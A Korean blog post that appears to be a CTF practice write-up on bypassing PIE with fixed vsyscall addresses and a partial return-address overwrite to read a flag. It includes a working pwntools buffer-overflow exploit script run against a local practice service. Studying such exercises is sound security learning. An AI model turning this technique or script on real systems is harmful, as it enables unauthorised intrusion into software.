본문 바로가기
시스템 해킹/cykor

First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용

by sonysame 2018. 1. 25.

First-FirstFirst.c




PIE가 걸려 있다 이 문제는 쉘을 따는게 아니라 플래그를 읽어오는것이고, 플래그 읽어오는 부위가 코드 영역에 있으며, 버퍼 오버플로우로 return address를 원하는 주소로 덮을 수 있지만, 문제는 PIE가 걸려있어서 주소가 랜덤으로 바뀐다는 것이다. vsyscall의 픽스된 주소를 이용할 것이며, 주소가 랜덤으로 바뀌기는 하지만 뒤 12비트는 고정됨을 이용할 것이다!


Position Independent Executable 위치독립실행파일->바이너리 전체의 주소가 랜덤


코드 영역의 주소도 바뀐다.


But,

vsyscall부분의 영역은 주소 고정! 여기에 있는 ret을 사용한다. 

But,

0x400쪽 불러오지 않으면 커널이 잡아낸다! 그니까 0x600409인 ret부분을 바로 불러오는게 아니라

 


0x600400부분을 불러온다.


스택에 쓸만한 주소가 있는데, 뒤에 12비트는 고정이니까, flag를 읽어오는 곳의 하위 12비트는 우리가 조절해줄 수 있다.


지금은 gdb에서 고정된 주소인데, 0x555555554fd1->0x55555555508b로 고쳐주어야 한다.

뒤에 12비트는 508b로 고정가능 바꿔줄 수 있다. 앞에 바이트는 여기 적혀있는것대로 가는데, 오프셋이 크게 차이가 나지 않으므로 여기서부터는 브루트포싱으로 가능 확률은 1/16으로 예상!



from pwn import *

import time


p=process('./First')


s=remote('localhost',1514)


ret=0xffffffffff600400


s.send("0\n")

time.sleep(1)


payload="a"*72

payload+=p64(ret)

payload+=p64(ret)

payload+="\x8b\x50"

s.send(payload+"\n")

print s.recv(1024)

s.interactive()

s.close()



flag읽는거 성공!